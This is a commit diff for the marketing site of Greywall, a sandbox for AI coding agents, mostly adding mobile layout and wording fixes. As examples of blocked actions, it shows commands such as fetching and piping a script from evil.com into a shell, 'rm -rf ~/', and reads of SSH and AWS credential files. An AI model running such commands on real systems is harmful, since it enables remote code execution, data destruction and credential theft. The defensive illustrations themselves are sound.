Compare commits

...

2 Commits

Author SHA1 Message Date
Nik L
84b16955d7 fix: mobile view+minor changes 2026-03-09 14:20:30 -04:00
Nik L
585d7c35df feat: small wording fixes 2026-03-09 14:11:52 -04:00
10 changed files with 130 additions and 228 deletions

View File

@@ -181,3 +181,12 @@ section {
.stagger-children > *:nth-child(3) { animation-delay: 0.3s; } .stagger-children > *:nth-child(3) { animation-delay: 0.3s; }
.stagger-children > *:nth-child(4) { animation-delay: 0.4s; } .stagger-children > *:nth-child(4) { animation-delay: 0.4s; }
.stagger-children > *:nth-child(5) { animation-delay: 0.5s; } .stagger-children > *:nth-child(5) { animation-delay: 0.5s; }
/* Hide scrollbar but keep scroll functionality */
.scrollbar-hide {
-ms-overflow-style: none;
scrollbar-width: none;
}
.scrollbar-hide::-webkit-scrollbar {
display: none;
}

View File

@@ -28,19 +28,19 @@ export function Agents() {
Works with every agent. Works with every agent.
</h2> </h2>
<p className="text-muted-foreground font-serif text-lg leading-relaxed"> <p className="text-muted-foreground font-serif text-lg leading-relaxed">
All agents work perfectly inside their sandbox but can&apos;t impact anything outside All agents work perfectly inside their sandbox but can&apos;t impact anything outside
it. No agent-specific configuration needed. it. No agent-specific configuration needed.
</p> </p>
</div> </div>
<div className="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-5 gap-3"> <div className="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-5 gap-2 sm:gap-3">
{agents.map((agent) => ( {agents.map((agent) => (
<a <a
key={agent.name} key={agent.name}
href={agent.url} href={agent.url}
target="_blank" target="_blank"
rel="noopener noreferrer" rel="noopener noreferrer"
className="group flex items-center gap-3 p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 hover:bg-card/50 transition-all cursor-pointer" className="group flex items-center gap-2.5 sm:gap-3 p-3 sm:p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 hover:bg-card/50 transition-all cursor-pointer"
> >
<img <img
src={`https://github.com/${agent.org}.png?size=64`} src={`https://github.com/${agent.org}.png?size=64`}

View File

@@ -167,24 +167,24 @@ export function Comparison() {
</p> </p>
</div> </div>
{/* Desktop table */} {/* Table — scrollable on mobile */}
<div className="hidden md:block rounded-lg border border-border/40 overflow-hidden"> <div className="rounded-lg border border-border/40 overflow-x-auto scrollbar-hide">
<table className="w-full text-sm"> <table className="w-full text-sm min-w-[540px]">
<thead> <thead>
<tr className="border-b border-border/40 bg-card/40"> <tr className="border-b border-border/40 bg-card/40">
<th className="text-left py-3.5 px-4 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider"> <th className="text-left py-3 sm:py-3.5 px-3 sm:px-4 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
Feature Feature
</th> </th>
<th className="text-center py-3.5 px-3 font-sans font-semibold text-xs uppercase tracking-wider text-primary"> <th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-semibold text-xs uppercase tracking-wider text-primary">
Greywall Greywall
</th> </th>
<th className="text-center py-3.5 px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider"> <th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
Safehouse Safehouse
</th> </th>
<th className="text-center py-3.5 px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider"> <th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
Claude Sandbox Claude
</th> </th>
<th className="text-center py-3.5 px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider"> <th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
Containers Containers
</th> </th>
</tr> </tr>
@@ -195,25 +195,25 @@ export function Comparison() {
key={row.feature} key={row.feature}
className={`border-b border-border/20 ${i % 2 === 0 ? 'bg-card/10' : ''}`} className={`border-b border-border/20 ${i % 2 === 0 ? 'bg-card/10' : ''}`}
> >
<td className="py-3 px-4 font-serif text-sm text-foreground"> <td className="py-2.5 sm:py-3 px-3 sm:px-4 font-serif text-sm text-foreground whitespace-nowrap">
{row.feature} {row.feature}
</td> </td>
<td className="py-3 px-3 text-center"> <td className="py-2.5 sm:py-3 px-2 sm:px-3 text-center">
<div className="flex justify-center"> <div className="flex justify-center">
<CellIcon value={row.greywall} /> <CellIcon value={row.greywall} />
</div> </div>
</td> </td>
<td className="py-3 px-3 text-center"> <td className="py-2.5 sm:py-3 px-2 sm:px-3 text-center">
<div className="flex justify-center"> <div className="flex justify-center">
<CellIcon value={row.safehouse} /> <CellIcon value={row.safehouse} />
</div> </div>
</td> </td>
<td className="py-3 px-3 text-center"> <td className="py-2.5 sm:py-3 px-2 sm:px-3 text-center">
<div className="flex justify-center"> <div className="flex justify-center">
<CellIcon value={row.claudeSandbox} /> <CellIcon value={row.claudeSandbox} />
</div> </div>
</td> </td>
<td className="py-3 px-3 text-center"> <td className="py-2.5 sm:py-3 px-2 sm:px-3 text-center">
<div className="flex justify-center"> <div className="flex justify-center">
<CellIcon value={row.containers} /> <CellIcon value={row.containers} />
</div> </div>
@@ -224,36 +224,6 @@ export function Comparison() {
</table> </table>
</div> </div>
{/* Mobile cards */}
<div className="md:hidden space-y-2">
{rows.map((row) => (
<div
key={row.feature}
className="p-4 rounded-lg border border-border/30 bg-card/20"
>
<div className="font-serif text-sm text-foreground mb-3">{row.feature}</div>
<div className="grid grid-cols-4 gap-1.5 text-center">
<div>
<div className="text-[10px] font-sans text-primary font-medium mb-1">Greywall</div>
<div className="flex justify-center"><CellIcon value={row.greywall} /></div>
</div>
<div>
<div className="text-[10px] font-sans text-muted-foreground font-medium mb-1">Safehouse</div>
<div className="flex justify-center"><CellIcon value={row.safehouse} /></div>
</div>
<div>
<div className="text-[10px] font-sans text-muted-foreground font-medium mb-1">Claude</div>
<div className="flex justify-center"><CellIcon value={row.claudeSandbox} /></div>
</div>
<div>
<div className="text-[10px] font-sans text-muted-foreground font-medium mb-1">Containers</div>
<div className="flex justify-center"><CellIcon value={row.containers} /></div>
</div>
</div>
</div>
))}
</div>
{/* Legend */} {/* Legend */}
<div className="mt-6 flex flex-wrap items-center gap-5 text-xs font-sans text-muted-foreground"> <div className="mt-6 flex flex-wrap items-center gap-5 text-xs font-sans text-muted-foreground">
<div className="flex items-center gap-1.5"> <div className="flex items-center gap-1.5">

View File

@@ -10,7 +10,6 @@ const tree = [
{ path: ' node_modules/', access: 'r', color: 'yellow' }, { path: ' node_modules/', access: 'r', color: 'yellow' },
{ path: '~/shared-lib/', access: 'r', color: 'yellow' }, { path: '~/shared-lib/', access: 'r', color: 'yellow' },
{ path: '~/.ssh/', access: 'deny', color: 'red' }, { path: '~/.ssh/', access: 'deny', color: 'red' },
{ path: '~/.aws/', access: 'deny', color: 'red' },
{ path: '~/.env', access: 'deny', color: 'red' }, { path: '~/.env', access: 'deny', color: 'red' },
{ path: '~/other-repos/', access: 'deny', color: 'red' }, { path: '~/other-repos/', access: 'deny', color: 'red' },
{ path: '~/Documents/', access: 'deny', color: 'red' }, { path: '~/Documents/', access: 'deny', color: 'red' },
@@ -52,26 +51,26 @@ export function Control() {
Default deny. Explicit allow. Default deny. Explicit allow.
</h2> </h2>
<p className="text-muted-foreground font-serif text-lg leading-relaxed"> <p className="text-muted-foreground font-serif text-lg leading-relaxed">
Agents inherit your full permissions. Greywall flips this nothing is accessible Agents inherit your full permissions. Greywall flips this: nothing is accessible
unless explicitly granted. Filesystem, network, and commands all start closed. unless explicitly granted. Filesystem, network, and commands all start closed.
</p> </p>
</div> </div>
<PlatformToggle /> <PlatformToggle />
</div> </div>
<div className="grid grid-cols-1 lg:grid-cols-2 gap-6"> <div className="grid grid-cols-1 lg:grid-cols-2 gap-4 sm:gap-6">
{/* Directory tree visualization */} {/* Directory tree visualization */}
<div className="p-6 rounded-lg border border-border/40 bg-card/30"> <div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="flex items-center gap-3 mb-5"> <div className="flex items-center gap-3 mb-5">
<FolderLock className="h-5 w-5 text-primary" /> <FolderLock className="h-5 w-5 text-primary" />
<h3 className="font-sans font-semibold text-sm">Deny-first access model</h3> <h3 className="font-sans font-semibold text-sm">Deny-first access model</h3>
</div> </div>
<div className="space-y-1 font-mono text-sm"> <div className="space-y-1 font-mono text-xs sm:text-sm">
{tree.map((item, i) => ( {tree.map((item, i) => (
<div key={i} className="flex items-center justify-between py-1"> <div key={i} className="flex items-center justify-between py-1 gap-2">
<span className={textColor(item.color)}>{item.path}</span> <span className={`${textColor(item.color)} truncate min-w-0`}>{item.path}</span>
<span <span
className={`text-[10px] font-sans uppercase tracking-wider px-2 py-0.5 rounded ${badgeClasses(item.color)}`} className={`text-[10px] font-sans uppercase tracking-wider px-2 py-0.5 rounded shrink-0 ${badgeClasses(item.color)}`}
> >
{accessLabels[item.access]} {accessLabels[item.access]}
</span> </span>
@@ -80,12 +79,12 @@ export function Control() {
</div> </div>
<p className="text-xs text-muted-foreground font-serif mt-4 leading-relaxed"> <p className="text-xs text-muted-foreground font-serif mt-4 leading-relaxed">
SSH keys, git hooks, shell configs, and <code className="font-mono text-[11px]">.env</code> files SSH keys, git hooks, shell configs, and <code className="font-mono text-[11px]">.env</code> files
are always protected even inside allowed directories. are always protected, even inside allowed directories.
</p> </p>
</div> </div>
{/* Network isolation */} {/* Network isolation */}
<div className="p-6 rounded-lg border border-border/40 bg-card/30"> <div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="flex items-center gap-3 mb-5"> <div className="flex items-center gap-3 mb-5">
<Wifi className="h-5 w-5 text-primary" /> <Wifi className="h-5 w-5 text-primary" />
<h3 className="font-sans font-semibold text-sm">Network isolation</h3> <h3 className="font-sans font-semibold text-sm">Network isolation</h3>
@@ -102,26 +101,26 @@ export function Control() {
<div className="ml-4"><span className="text-muted-foreground">-proxy</span> <span className="text-green-400/70">socks5://localhost:43052</span></div> <div className="ml-4"><span className="text-muted-foreground">-proxy</span> <span className="text-green-400/70">socks5://localhost:43052</span></div>
</div> </div>
</div> </div>
<div className="space-y-2 font-mono text-xs"> <div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
<div className="flex items-center justify-between py-1.5 border-b border-border/20"> <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite">curl https://api.anthropic.com</span> <span className="text-greyhaven-offwhite truncate">curl https://api.anthropic.com</span>
<span className="text-green-400/70 text-[10px]">TUN &rarr; PROXY &rarr; ALLOW</span> <span className="text-green-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
</div> </div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20"> <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite">npm install lodash</span> <span className="text-greyhaven-offwhite truncate">npm install lodash</span>
<span className="text-green-400/70 text-[10px]">TUN &rarr; PROXY &rarr; ALLOW</span> <span className="text-green-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
</div> </div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20"> <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite">wget https://evil.com/payload</span> <span className="text-greyhaven-offwhite truncate">wget https://evil.com/payload</span>
<span className="text-red-400/70 text-[10px]">TUN &rarr; PROXY &rarr; DENY</span> <span className="text-red-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
</div> </div>
<div className="flex items-center justify-between py-1.5"> <div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
<span className="text-greyhaven-offwhite">nc -z 10.0.0.1 22</span> <span className="text-greyhaven-offwhite truncate">nc -z 10.0.0.1 22</span>
<span className="text-red-400/70 text-[10px]">TUN &rarr; PROXY &rarr; DENY</span> <span className="text-red-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
</div> </div>
</div> </div>
<p className="text-xs text-muted-foreground font-serif leading-relaxed"> <p className="text-xs text-muted-foreground font-serif leading-relaxed">
Full network namespace isolation the process can&apos;t see the host network. Full network namespace isolation. The process can&apos;t see the host network.
Every packet hits the TUN device and routes through GreyProxy, including Every packet hits the TUN device and routes through GreyProxy, including
binaries that ignore proxy env vars. binaries that ignore proxy env vars.
</p> </p>
@@ -143,62 +142,62 @@ export function Control() {
</div> </div>
</div> </div>
</div> </div>
<div className="space-y-2 font-mono text-xs"> <div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
<div className="flex items-center justify-between py-1.5 border-b border-border/20"> <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite">api.anthropic.com</span> <span className="text-greyhaven-offwhite truncate">api.anthropic.com</span>
<span className="text-green-400/70 text-[10px]">VIA PROXY</span> <span className="text-green-400/70 text-[10px] shrink-0">VIA PROXY</span>
</div> </div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20"> <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite">registry.npmjs.org</span> <span className="text-greyhaven-offwhite truncate">registry.npmjs.org</span>
<span className="text-green-400/70 text-[10px]">VIA PROXY</span> <span className="text-green-400/70 text-[10px] shrink-0">VIA PROXY</span>
</div> </div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20"> <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite">evil.com (direct)</span> <span className="text-greyhaven-offwhite truncate">evil.com (direct)</span>
<span className="text-red-400/70 text-[10px]">KERNEL DENY</span> <span className="text-red-400/70 text-[10px] shrink-0">KERNEL DENY</span>
</div> </div>
<div className="flex items-center justify-between py-1.5"> <div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
<span className="text-greyhaven-offwhite">analytics.vendor.io</span> <span className="text-greyhaven-offwhite truncate">analytics.vendor.io</span>
<span className="text-red-400/70 text-[10px]">PROXY DENY</span> <span className="text-red-400/70 text-[10px] shrink-0">PROXY DENY</span>
</div> </div>
</div> </div>
<p className="text-xs text-muted-foreground font-serif leading-relaxed"> <p className="text-xs text-muted-foreground font-serif leading-relaxed">
All outbound traffic is blocked at the kernel. Only the proxy address is All outbound traffic is blocked at the kernel. Only the proxy address is
reachable GreyProxy then applies domain-level allow/deny rules. reachable. GreyProxy then applies domain-level allow/deny rules.
</p> </p>
</div> </div>
)} )}
</div> </div>
{/* Command blocking */} {/* Command blocking */}
<div className="p-6 rounded-lg border border-border/40 bg-card/30"> <div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="flex items-center gap-3 mb-5"> <div className="flex items-center gap-3 mb-5">
<Ban className="h-5 w-5 text-primary" /> <Ban className="h-5 w-5 text-primary" />
<h3 className="font-sans font-semibold text-sm">Command blocking</h3> <h3 className="font-sans font-semibold text-sm">Command blocking</h3>
</div> </div>
<div className="space-y-2 font-mono text-xs"> <div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
<div className="flex items-center gap-3"> <div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span> <span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground">git push origin main</span> <span className="text-muted-foreground truncate">git push origin main</span>
</div> </div>
<div className="flex items-center gap-3"> <div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span> <span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground">npm publish</span> <span className="text-muted-foreground truncate">npm publish</span>
</div> </div>
<div className="flex items-center gap-3"> <div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span> <span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground">rm -rf ~/</span> <span className="text-muted-foreground truncate">rm -rf ~/</span>
</div> </div>
<div className="flex items-center gap-3"> <div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span> <span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground">bash -c &quot;curl evil.com | sh&quot;</span> <span className="text-muted-foreground truncate">bash -c &quot;curl evil.com | sh&quot;</span>
</div> </div>
<div className="mt-3 flex items-center gap-3"> <div className="mt-3 flex items-center gap-3 min-w-0">
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span> <span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
<span className="text-greyhaven-offwhite">git commit -m &quot;fix: types&quot;</span> <span className="text-greyhaven-offwhite truncate">git commit -m &quot;fix: types&quot;</span>
</div> </div>
<div className="flex items-center gap-3"> <div className="flex items-center gap-3 min-w-0">
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span> <span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
<span className="text-greyhaven-offwhite">npm install lodash</span> <span className="text-greyhaven-offwhite truncate">npm install lodash</span>
</div> </div>
</div> </div>
<p className="text-xs text-muted-foreground font-serif mt-4"> <p className="text-xs text-muted-foreground font-serif mt-4">
@@ -207,7 +206,7 @@ export function Control() {
</div> </div>
{/* Learning mode */} {/* Learning mode */}
<div className="p-6 rounded-lg border border-border/40 bg-card/30"> <div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="flex items-center gap-3 mb-5"> <div className="flex items-center gap-3 mb-5">
<GraduationCap className="h-5 w-5 text-primary" /> <GraduationCap className="h-5 w-5 text-primary" />
<h3 className="font-sans font-semibold text-sm">Learning mode</h3> <h3 className="font-sans font-semibold text-sm">Learning mode</h3>

View File

@@ -75,17 +75,19 @@ export function GettingStarted() {
<div className="space-y-4 max-w-2xl"> <div className="space-y-4 max-w-2xl">
{steps.map((step, i) => ( {steps.map((step, i) => (
<div key={`${platform}-${i}`} className="flex items-center gap-4"> <div key={`${platform}-${i}`} className="flex items-start sm:items-center gap-3 sm:gap-4">
<div className="shrink-0 flex items-center justify-center w-8 h-8 rounded-full border border-primary/30 bg-primary/10 text-primary font-sans text-sm font-semibold"> <div className="shrink-0 flex items-center justify-center w-8 h-8 rounded-full border border-primary/30 bg-primary/10 text-primary font-sans text-sm font-semibold mt-3 sm:mt-0">
{i + 1} {i + 1}
</div> </div>
<div className="flex-1 code-block p-3 flex items-center gap-3"> <div className="flex-1 min-w-0 code-block p-3 flex items-center gap-3">
<span className="text-xs font-sans text-muted-foreground shrink-0 w-24"> <span className="text-xs font-sans text-muted-foreground shrink-0 w-20 sm:w-24 hidden sm:block">
{step.label} {step.label}
</span> </span>
<code className="flex-1 font-mono text-sm text-greyhaven-offwhite truncate"> <div className="flex-1 min-w-0 overflow-x-auto scrollbar-hide">
{step.cmd} <code className="font-mono text-xs sm:text-sm text-greyhaven-offwhite whitespace-nowrap">
</code> {step.cmd}
</code>
</div>
<button <button
onClick={() => copy(step.cmd, i)} onClick={() => copy(step.cmd, i)}
className="shrink-0 p-1 rounded text-muted-foreground hover:text-foreground transition-colors" className="shrink-0 p-1 rounded text-muted-foreground hover:text-foreground transition-colors"

View File

@@ -1,7 +1,7 @@
'use client' 'use client'
import { useState } from 'react' import { useState } from 'react'
import { Copy, Check, Terminal } from 'lucide-react' import { Copy, Check } from 'lucide-react'
export function Hero() { export function Hero() {
const [copied, setCopied] = useState(false) const [copied, setCopied] = useState(false)
@@ -15,7 +15,7 @@ export function Hero() {
} }
return ( return (
<section className="relative pt-32 pb-24 px-6 overflow-hidden"> <section className="relative pt-24 sm:pt-32 pb-16 sm:pb-24 px-4 sm:px-6 overflow-hidden">
{/* Subtle background gradient */} {/* Subtle background gradient */}
<div className="absolute inset-0 bg-[radial-gradient(ellipse_at_top,rgba(217,94,42,0.05)_0%,transparent_50%)]" /> <div className="absolute inset-0 bg-[radial-gradient(ellipse_at_top,rgba(217,94,42,0.05)_0%,transparent_50%)]" />
{/* Grid pattern */} {/* Grid pattern */}
@@ -63,11 +63,13 @@ export function Hero() {
{/* Install command */} {/* Install command */}
<div className="mx-auto max-w-5xl"> <div className="mx-auto max-w-5xl">
<div className="code-block glow-orange px-5 py-3.5 flex items-center justify-between gap-4"> <div className="code-block glow-orange px-4 sm:px-5 py-3.5 flex items-center justify-between gap-3">
<code className="font-mono text-greyhaven-offwhite text-[13px] whitespace-nowrap"> <div className="overflow-x-auto min-w-0 flex-1 scrollbar-hide">
<span className="text-muted-foreground">$ </span> <code className="font-mono text-greyhaven-offwhite text-[13px] whitespace-nowrap">
{installCmd} <span className="text-muted-foreground">$ </span>
</code> {installCmd}
</code>
</div>
<button <button
onClick={copyInstall} onClick={copyInstall}
className="shrink-0 p-1.5 rounded-md text-muted-foreground hover:text-foreground hover:bg-accent/30 transition-all" className="shrink-0 p-1.5 rounded-md text-muted-foreground hover:text-foreground hover:bg-accent/30 transition-all"

View File

@@ -15,28 +15,28 @@ const linuxLayers = [
icon: Lock, icon: Lock,
name: 'Landlock', name: 'Landlock',
tag: 'Filesystem', tag: 'Filesystem',
desc: 'Kernel-level filesystem access control. Enforces granular read/write permissions below userspace — processes cannot escalate their own access.', desc: 'Kernel-level filesystem access control. Enforces granular read/write permissions below userspace. Processes cannot escalate their own access.',
detail: 'Linux 5.13+', detail: 'Linux 5.13+',
}, },
{ {
icon: ShieldCheck, icon: ShieldCheck,
name: 'Seccomp BPF', name: 'Seccomp BPF',
tag: 'Syscalls', tag: 'Syscalls',
desc: 'Blocks 27 dangerous system calls at the kernel boundary ptrace, mount, kexec, module loading, and BPF manipulation are all denied.', desc: 'Blocks 27+ dangerous system calls at the kernel boundary. ptrace, mount, kexec, module loading, and BPF manipulation are all denied.',
detail: 'Linux 3.5+', detail: 'Linux 3.5+',
}, },
{ {
icon: Eye, icon: Eye,
name: 'eBPF Monitoring', name: 'eBPF Monitoring',
tag: 'Visibility', tag: 'Visibility',
desc: 'Traces syscall exits in real time across all layers. Every permission denial is captured instantly with full context process, path, and reason.', desc: 'Traces syscall exits in real time across all layers. Every permission denial is captured instantly with full context: process, path, and reason.',
detail: 'Linux 4.15+', detail: 'Linux 4.15+',
}, },
{ {
icon: Wifi, icon: Wifi,
name: 'TUN + SOCKS5 Proxy', name: 'TUN + SOCKS5 Proxy',
tag: 'Network', tag: 'Network',
desc: 'Transparent network capture at the kernel level via TUN device. All TCP/UDP traffic is routed through the proxy even binaries that ignore env vars.', desc: 'Transparent network capture at the kernel level via TUN device. All TCP/UDP traffic is routed through the proxy, even binaries that ignore env vars.',
detail: 'Any kernel', detail: 'Any kernel',
}, },
] ]
@@ -99,7 +99,7 @@ export function Layers() {
</h2> </h2>
<p className="text-muted-foreground font-serif text-lg leading-relaxed"> <p className="text-muted-foreground font-serif text-lg leading-relaxed">
{platform === 'linux' {platform === 'linux'
? 'Each layer operates independently. A bug in one is caught by another. No single point of failure — every constraint is enforced at the kernel level.' ? 'Each layer operates independently. A bug in one is caught by another. No single point of failure. Every constraint is enforced at the kernel level.'
: 'macOS Seatbelt enforces deny-by-default policies before any syscall completes. The sandbox profile is generated per-session with rules tailored to your project.'} : 'macOS Seatbelt enforces deny-by-default policies before any syscall completes. The sandbox profile is generated per-session with rules tailored to your project.'}
</p> </p>
</div> </div>
@@ -110,7 +110,7 @@ export function Layers() {
{layers.map((layer) => ( {layers.map((layer) => (
<div <div
key={layer.name} key={layer.name}
className="layer-card group flex items-start gap-5 p-5 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20" className="layer-card group flex items-start gap-3 sm:gap-5 p-4 sm:p-5 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20"
> >
<div className="shrink-0 flex items-center justify-center w-10 h-10 rounded-md bg-primary/10 text-primary"> <div className="shrink-0 flex items-center justify-center w-10 h-10 rounded-md bg-primary/10 text-primary">
<layer.icon className="h-5 w-5" /> <layer.icon className="h-5 w-5" />
@@ -152,7 +152,7 @@ export function Layers() {
) : ( ) : (
<> <>
<span className="text-primary font-medium">No dependencies.</span>{' '} <span className="text-primary font-medium">No dependencies.</span>{' '}
macOS sandboxing uses only built-in OS capabilities no packages to install. macOS sandboxing uses only built-in OS capabilities. No packages to install.
Run{' '} Run{' '}
<code className="font-mono text-xs text-foreground bg-card/50 px-1.5 py-0.5 rounded"> <code className="font-mono text-xs text-foreground bg-card/50 px-1.5 py-0.5 rounded">
greywall check greywall check

View File

@@ -1,4 +1,4 @@
import { Eye, Activity, ShieldQuestion, Zap } from 'lucide-react' import { Eye } from 'lucide-react'
export function Observability() { export function Observability() {
return ( return (
@@ -12,107 +12,33 @@ export function Observability() {
</span> </span>
</div> </div>
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4"> <h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
Watch it reach. Then decide. See every network connection.
</h2> </h2>
<p className="text-muted-foreground font-serif text-lg leading-relaxed"> <p className="text-muted-foreground font-serif text-lg leading-relaxed">
You can&apos;t predict what your agent will access. Greywall makes every filesystem You can&apos;t predict which domains your agent will reach for. GreyProxy captures
operation and network connection visible in real time so you make informed decisions every outbound connection and lets you allow or deny them in real time, without
instead of guessing policies upfront. restarting the session.
</p> </p>
</div> </div>
<div className="grid grid-cols-1 md:grid-cols-2 gap-6 items-stretch"> <div className="mx-auto max-w-3xl">
{/* Monitor mode */} <div className="flex items-center gap-3 mb-4">
<div className="flex flex-col gap-4"> <div className="flex items-center justify-center w-8 h-8 rounded-md bg-primary/10 text-primary">
<div className="flex items-center gap-3"> <Eye className="h-4 w-4" />
<div className="flex items-center justify-center w-8 h-8 rounded-md bg-primary/10 text-primary">
<Activity className="h-4 w-4" />
</div>
<h3 className="font-sans font-semibold text-sm">Real-time violation monitor</h3>
</div>
<div className="code-block p-4 flex-1">
<div className="text-xs text-muted-foreground mb-3 font-sans uppercase tracking-wider">
Live violation stream
</div>
<div className="space-y-1.5 font-mono text-xs">
<div>
<span className="text-muted-foreground">$ </span>
<span className="text-greyhaven-offwhite">greywall -m -- claude</span>
</div>
<div className="mt-2 text-muted-foreground">
[14:23:01] <span className="text-red-400/80">DENY</span>{' '}
<span className="text-greyhaven-offwhite">read</span>{' '}
~/.ssh/id_ed25519
</div>
<div className="text-muted-foreground">
[14:23:01] <span className="text-red-400/80">DENY</span>{' '}
<span className="text-greyhaven-offwhite">read</span>{' '}
~/.aws/credentials
</div>
<div className="text-muted-foreground">
[14:23:02] <span className="text-red-400/80">DENY</span>{' '}
<span className="text-greyhaven-offwhite">write</span>{' '}
~/.bashrc
</div>
<div className="text-muted-foreground">
[14:23:03] <span className="text-green-400/70">ALLOW</span>{' '}
<span className="text-greyhaven-offwhite">read</span>{' '}
./src/index.ts
</div>
<div className="text-muted-foreground">
[14:23:03] <span className="text-green-400/70">ALLOW</span>{' '}
<span className="text-greyhaven-offwhite">write</span>{' '}
./src/utils.ts
</div>
</div>
</div> </div>
<h3 className="font-sans font-semibold text-sm">GreyProxy dashboard</h3>
</div> </div>
<div className="rounded-lg border border-border/40 overflow-hidden bg-card/30">
{/* GreyProxy screenshot */} <img
<div className="flex flex-col gap-4"> src="/greyproxy.png"
<div className="flex items-center gap-3"> alt="GreyProxy dashboard showing pending network requests with Allow and Deny controls"
<div className="flex items-center justify-center w-8 h-8 rounded-md bg-primary/10 text-primary"> className="w-full h-auto"
<Eye className="h-4 w-4" /> />
</div>
<h3 className="font-sans font-semibold text-sm">GreyProxy dashboard</h3>
</div>
<div className="rounded-lg border border-border/40 overflow-hidden flex-1 flex items-center bg-card/30">
<img
src="/greyproxy.png"
alt="GreyProxy dashboard showing pending network requests with Allow and Deny controls"
className="w-full h-auto"
/>
</div>
</div>
</div>
{/* Value props */}
<div className="mt-8 grid grid-cols-1 md:grid-cols-3 gap-4">
<div className="p-5 rounded-lg border border-border/40 bg-card/30">
<ShieldQuestion className="h-4 w-4 text-primary mb-3" />
<h4 className="font-sans font-medium text-sm mb-1">Answer hard questions</h4>
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
What did the agent see? What did it access? What was denied? Greywall makes these
questions answerable for any session, at any time, after the fact.
</p>
</div>
<div className="p-5 rounded-lg border border-border/40 bg-card/30">
<Zap className="h-4 w-4 text-primary mb-3" />
<h4 className="font-sans font-medium text-sm mb-1">Move faster, safely</h4>
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
Once you can see what agents do and control it without breaking flow, you stop
hesitating. Longer autonomous runs, more sub-agents, faster iteration on sensitive
workloads.
</p>
</div>
<div className="p-5 rounded-lg border border-border/40 bg-card/30">
<Activity className="h-4 w-4 text-primary mb-3" />
<h4 className="font-sans font-medium text-sm mb-1">Operate, don&apos;t hope</h4>
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
Observability is the difference between operating AI and hoping AI operates.
Security becomes an enabler of velocity, not a constraint on it.
</p>
</div> </div>
<p className="text-xs text-muted-foreground font-serif leading-relaxed mt-4">
Every outbound request is visible. Allow trusted domains, block unknown ones,
and adjust policies live as your agent works.
</p>
</div> </div>
</div> </div>
</section> </section>

View File

@@ -34,10 +34,10 @@ export function PlatformToggle() {
const [platform, setPlatform] = usePlatform() const [platform, setPlatform] = usePlatform()
return ( return (
<div className="inline-flex items-center rounded-lg border border-border/50 bg-card/30 p-0.5"> <div className="inline-flex items-center rounded-lg border border-border/50 bg-card/30 p-0.5 shrink-0 self-start">
<button <button
onClick={() => setPlatform('linux')} onClick={() => setPlatform('linux')}
